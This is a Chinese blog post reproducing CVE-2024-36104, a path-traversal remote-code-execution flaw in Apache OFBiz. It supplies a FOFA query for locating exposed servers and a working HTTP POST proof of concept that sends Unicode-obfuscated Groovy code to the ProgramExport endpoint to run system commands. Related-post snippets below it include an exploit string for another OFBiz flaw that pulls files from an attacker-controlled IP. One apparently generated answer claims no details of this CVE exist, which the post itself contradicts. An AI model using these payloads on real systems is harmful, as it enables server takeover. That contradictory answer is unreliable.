Apache-OFBiz存在路径遍历导致RCE漏洞(CVE-2024-36104)

于 2025-05-15 10:29:48 发布
阅读量304 收藏
点赞数 2
CC 4.0 BY-SA版权
分类专栏： 漏洞复现 文章标签： apache web安全 安全威胁分析 漏洞复现 漏洞库
版权声明：本文为博主原创文章，遵循 CC 4.0 BY-SA 版权协议，转载请附上原文出处链接和本声明。
本文链接：https://blog.youkuaiyun.com/jd_cx/article/details/147976356

漏洞描述

Apache OFBiz是一个电子商务平台，用于构建大中型企业级、跨平台、跨数据库、跨应用服务器的多层、分布式电子商务类应用系统。是美国阿帕奇（Apache）基金会的一套企业资源计划（ERP）系统。该系统提供了一整套基于Java的Web应用程序组件和工具。Apache OFBiz 18.12.14之前版本存在命令执行漏洞，该漏洞源于org.apache.ofbiz.webapp.control.ControlFilter类对路径（请求URL中的特殊字符（如 ；、%2e）限制不当导致攻击者能够绕过后台功能点的过滤器验证，并通过/webtools/control/ProgramExport接口的编程导出功能执行任意Groovy代码获取系统权限。

fofa

app="Apache_OFBiz"

poc

POST /webtools/control/forgotPassword/%2e/%2e/ProgramExport HTTP/1.1
Host: 
user-agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:126.0) Gecko/20100101 Firefox/126.0
Content-Type: application/x-www-form-urlencoded
 
groovyProgram=\u0074\u0068\u0072\u006f\u0077\u0020\u006e\u0065\u0077\u0020\u0045\u0078\u0063\u0065\u0070\u0074\u0069\u006f\u006e\u0028\u0027\u0069\u0064\u0027\u002e\u0065\u0078\u0065\u0063\u0075\u0074\u0065\u0028\u0029\u002e\u0074\u0065\u0078\u0074\u0029\u003b
Apache OFBiz 路径遍历导致RCE漏洞复现（CVE-2024-36104）
0xSec
06-04 2708
Apache OFBiz 18.12.14之前版本存在命令执行漏洞，该漏洞源于org.apache.ofbiz.webapp.control.ControlFilter类对路径（请求URL中的特殊字符（如 ；、%2e）限制不当导致攻击者能够绕过后台功能点的过滤器验证，并通过/webtools/control/ProgramExport接口的编程导出功能执行任意Groovy代码获取系统权限。
【漏洞复现】Apache OFBiz 路径遍历导致RCE漏洞(CVE-2024-36104)
qq_67810151的博客
06-07 894
Apache OFBiz是一个功能强大、易于定制和扩展的开源ERP系统，适用于各种类型的企业。通过利用最新的技术标准和开源项目，Apache OFBiz为企业提供了一个高效、稳定、灵活的电子商务平台解决方案。
Apache OFBiz路径遍历漏洞(CVE-2024-36104)
WuYSec的博客
06-05 795
Apache OFBiz 18.12.14之前版本存在命令执行漏洞 ，该漏洞源于ControlFilter对路径限制不当导致用户能够访问ProgramExport导出功能执行Groovy代码。Apache OFBiz是美国阿帕奇（Apache）基金会的一套企业资源计划（ERP）系统。该系统提供了一整套基于Java的Web应用程序组件和工具。无垠Sec专注安全研究，包括但不限于代码审计、漏洞挖掘、思路分享等。目前仅需50，你就能得到常见系统1day漏洞POC、代码审计、漏洞分析、漏洞挖掘等。
Catalyze安全知识库
mashiro_hibiki的博客
05-21 439
高质量安全知识星球社区，致力于漏洞挖掘，渗透技巧，安全资料，星球承诺会持续更新0/1/NDay及对应的批量利用工具，团队内部漏洞库，内外网攻防技巧，你所需要的各类安全工具和资料以及团队师傅们最新的学习研究成果。分享行业内最新动态，解答交流各类技术问题。涉及方向包括Web渗透、免杀绕过、红蓝攻防、代码审计、应急响应、安全培训、CTF、小白入门、职业规划和疑难解答。
【已复现】Apache OFBiz 路径遍历漏洞(CVE-2024-36104)安全风险通告
smellycat000的专栏
06-06 885
●点击↑蓝字关注我们，获取更多安全风险通告漏洞概述漏洞名称Apache OFBiz 路径遍历漏洞漏洞编号QVD-2024-21464,CVE-2024-36104公开时间2024-06-02影响量级万级奇安信评级高危CVSS 3.1分数9.8威胁类型代码执行利用可能性高POC状态已公开在野利用状态未发现EXP状态已公开技术细节状态已公开危害描述：未授权的攻击者可以通过构造恶意请求绕过认证，进⽽访...
【漏洞复现】Apache OFBiz 授权不当致远程代码执行
今天是几号的博客
08-06 1143
攻击者可能利用该漏洞来执行恶意操作，包括但不限于获取敏感信息、修改数据或执行系统命令，最终可导致服务器失陷。Apache OFBiz 是一个开源的企业资源计划 (ERP) 和客户关系管理 (CRM) 软件平台，提供全面的企业管理解决方案，包括电子商务、库存管理、制造、会计等功能，支持企业进行灵活的定制和扩展。任何因使用本文所提供的信息或工具而导致的损失、后果或不良影响，均由使用者个人承担责任，与本文作者无关。本文所涉及的任何技术、信息或工具，仅供学习和参考之用。
Apache OFBiz 授权不当致远程代码执行漏洞(CVE-2024-38856)
0xSec
08-05 1431
2024年8月，互联网上披露Apache OFBiz 授权不当致远程代码执行漏洞(CVE-2024-38856)，该漏洞允许未经过身份验证的远程攻击者绕过原有通过特定URL绕过检测执行恶意代码的安全机制。攻击者可能利用该漏洞来执行恶意操作，包括但不限于获取敏感信息、修改数据或执行系统命令，最终可导致服务器失陷。
VMware Tools本地提权漏洞CVE-2022-31676分析与复现
Button12138的博客
01-31 1455
VMware Tools本地提权漏洞CVE-2022-31676分析与复现
CVE-2024-36104 Apache OFBiz路径遍历RCE漏洞复现（附POC）
mashiro_hibiki的博客
06-05 2627
高质量安全知识星球社区，致力于漏洞挖掘，渗透技巧，安全资料，星球承诺会持续更新0/1/NDay及对应的批量利用工具，团队内部漏洞库，内外网攻防技巧，你所需要的各类安全工具和资料以及团队师傅们最新的学习研究成果。，安全技术水平的催化者，星球针对成员的技术问题，快速提供思考方向及解决方案，并为星友提供多种方向的学习资料、安全工具、POC&EXP以及各种学习笔记等，以引导者和催化剂的方式助力安全技术水平的提升。Apache_OFBiz是一套基于通用架构的企业应用程序，使用通用数据，逻辑和流程组件。
Apache OFBiz 未授权远程代码执行漏洞（CVE-2024-45195）
iSee857的博客
09-08 1276
Apache OFBiz是⼀个著名的电⼦商务平台，提供了创建基于最新 J2EE/ XML规范和技术标准，构建大中型企业级、跨平台、跨数据库、跨应⽤服务器的多层、分布式电⼦商务类WEB应⽤系统的框架。Apache OFBiz 18.12.16 之前版本中，由于Web 应用程序中缺少视图授权检查，未经身份验证的远程威胁者可构造恶意请求写入恶意文件导致远程代码执行，从而获取服务器权限。在服务器上启动一个python http服务用以 请求发送。服务器上启的http服务收到访问链接。访问下列接口进行RCE验证。
Apache OFBiz 远程代码执行漏洞复现(CVE-2024-45195)并拿到shell
weixin_67840381的博客
09-12 1268
DATAFILE_LOCATION=http://公网ip:端口/rcereport.csv&DATAFILE_SAVE=./applications/accounting/webapp/accounting/index.jsp&DATAFILE_IS_URL=true&DEFINITION_LOCATION=http://公网ip:端口/rceschema.xml&DEFINITION_IS_URL=true&DEFINITION_NAME=rce。Host: 对方的host。这次使用的nc命令为。
漏洞情报 | Apache OFBiz 远程代码执行漏洞
爱国小白帽
03-22 545
0x01 漏洞描述 OFBiz是一个非常著名的电子商务平台，是一个非常著名的开源项目，提供了创建基于最新J2EE/XML规范和技术标准，构建大中型企业级、跨平台、跨数据库、跨应用服务器的多层、分布式电子商务类WEB应用系统的框架。 近日，360漏洞云监测到Apache OFBiz官方披露了Apache OFBiz远程代码执行漏洞的安全通告，该漏洞出现在ofbiz/base/util/SafeObjectInputStream.java中，该功能为框架中的通用序列化处理类，未经身份验证的攻击者可构造恶意请求.
Apache 修复严重的 OFBiz 远程代码执行漏洞
smellycat000的专栏
09-06 426
聚焦源代码安全，网罗国内外最新资讯！编译：代码卫士Apache 修复了 OFBiz 软件中的一个严重漏洞，可导致攻击者在易受攻击的 Linux 和 Windows 服务器上执行任意代码。OFBiz 是一款客户关系管理 (CRM) 和企业资源规划 (ERP) 商业应用套件，可被用于开发 web 应用的基于Java 的web 框架。该漏洞的编号是CVE-2024-45159，由 Rapid7 安全研...
有了这个网络安全面试题，面试就像开了挂！（附PDF）
lvaolan的博客
02-26 1686
还有兄弟不知道网络安全面试可以提前刷题吗？费时一周整理的160+网络安全面试题，金九银十，做网络安全面试里的显眼包！王岚嵚工程师面试题（附答案），只能帮兄弟们到这儿了！如果你能答对70%，找一个安全工作，问题不大。对于有1-3年工作经验，想要跳槽的朋友来说，也是很好的温习资料！【完整版领取方式在文末！！​​​​内容实在太多，不一一截图了。
Apache OFBiz XML-RPC远程代码执行漏洞(CVE-2023-49070)漏洞复现
qq_53733257的博客
12-11 2375
CVE-2023-49070 漏洞复现
漏洞复现--Apache Ofbiz XML-RPC RCE（CVE-2023-49070）
qq_53003652的博客
12-07 2396
近日，亚信安全CERT监控到Apache OFBiz发布更新公告，修复了Apache OFBiz中的一个未授权远程代码执行(CVE-2023-49070)。该漏洞源于Apache OFBiz中存在不再维护的XML-RPC组件。XML-RPC是一种远程过程调用协议，它支持应用程序之间通过XML进行通信。虽然XML-RPC曾经被广泛使用，但由于安全问题，它已被弃用。利用该漏洞攻击者可以在受影响的Apache OFBiz服务器上执行任意代码，而无需事先进行任何身份验证。
Apache-OFBiz授权不当导致RCE (CVE-2024-38856)
iSee857的博客
09-05 651
Apache OFBiz 18.12.14之前版本存在命令执行漏洞，该漏洞源于ControlServlet和RequestHandler函数，在处理请求中存在授权错误，导致未经身份验证的远程攻击者通过构造特殊URL来覆盖最终的渲染视图，从而执行任意代码。开启nc监听 进行远程连接。注意这里要进行双重编码，base64+unicode。升级至18.12.14以上版本。
Apache Ofbiz XML-RPC RCE漏洞-CVE-2023-49070
最新发布
swordheart的博客
05-14 130
2020年，为修复 CVE-2020-9496 增加权限校验，存在绕过。2021年，增加 Filter 用于拦截 XMLRPC 中的恶意请求，存在绕过。2023年四月，彻底删除xmlrpc handler 以避免同类型的漏洞产生尽管主分支在四月份已经移除了XML-RPC组件，但在Apache OFBiz的正式发布版本中，仅最新版本18.12.10彻底废除了XML-RPC功能。
春秋CVE-2024-36104
03-19
目前提供的引用内容并未提及有关 CVE-2024-36104 的具体细节或修复方案。然而，基于常见的漏洞处理流程以及网络安全实践，可以推测并提供一种通用的方法来应对未知漏洞及其修复策略。 ### 关于 CVE-2024-36104 的可能影响范围 通常情况下，CVE 编号代表了一个特定的安全漏洞，其编号结构表明它是在 2024 年被发现的漏洞之一。虽然当前未有明确描述此漏洞的技术细节，但从以往经验来看，此类漏洞可能涉及软件、操作系统或其他 IT 基础设施中的安全缺陷[^3]。 ### 可能的影响领域 如果假设 CVE-2024-36104 是一个典型的远程执行代码 (RCE) 或权限提升类别的漏洞，则受影响的目标可能是服务器端应用程序或者客户端工具。这类问题往往允许攻击者通过网络访问目标设备，并利用该漏洞获取敏感数据甚至完全控制受害者的计算机系统[^4]。 ### 推荐的检测方法 为了确认是否存在 CVE-2024-36104 漏洞，建议采用以下方式来进行排查： #### 自动化扫描工具的应用 使用专业的漏洞评估软件如 Nessus, OpenVAS 等定期对企业内部网路资产进行全面审查可以帮助识别潜在风险点[^5]。 ```bash nessuscli --scan-start "My Network Scan" ``` 上述命令用于启动一次名为"My Network Scan"的任务实例，在实际操作过程中需替换为自己定义好的任务名称。 #### 手工核查手段 对于某些特殊场景下无法依赖自动化脚本的情况，也可以手动检查相关组件版本信息并与官方发布的公告对比分析是否有对应更新可用[^6]。 --- ### 解决方案概述 一旦确定存在 CVE-2024-36104 安全隐患之后，应立即着手实施缓解措施直至最终彻底解决问题为止。以下是几个可行的方向供参考考虑： #### 更新至最新稳定发行版 厂商一般会在发现问题后的第一时间推出修补程序以消除威胁源；因此保持所有软硬件处于最新的状态至关重要[^7]。 #### 配置增强型防护机制 即使已经部署了必要的补救行动，仍然有必要加强额外一层防线以防万一仍有残留危害尚未清除干净。这包括但不限于启用防火墙规则过滤可疑流量模式、调整账户权限分配减少不必要的暴露面等等举措[^8]。 ```xml <firewall> <rule action="deny"> <source>untrusted_network</source> <destination>internal_service</destination> </rule> </firewall> ``` 以上 XML 片段展示了一条简单的入站连接拒绝指令范例，可根据实际情况定制适合自己的保护政策。 --- ### 结论 尽管缺乏针对 CVE-2024-36104 的确切说明文档支持，但是遵循标准化的操作指南依旧能够有效降低遭受侵害的可能性。持续关注权威机构发布的信息动态也是不可或缺的一部分工作环节。
评论
添加红包

请填写红包祝福语或标题

个

红包个数最小为10个

元

红包金额最低5元

当前余额3.43元 前往充值 >
需支付：10.00元
成就一亿技术人!
领取后你会自动成为博主和红包主的粉丝 规则
hope_wisdom
发出的红包
实付元
使用余额支付
点击重新获取
扫码支付
钱包余额 0

抵扣说明：

1.余额是钱包充值的虚拟货币，按照1:1的比例进行支付金额的抵扣。
2.余额无法直接购买下载，可以购买VIP、付费专栏及课程。

余额充值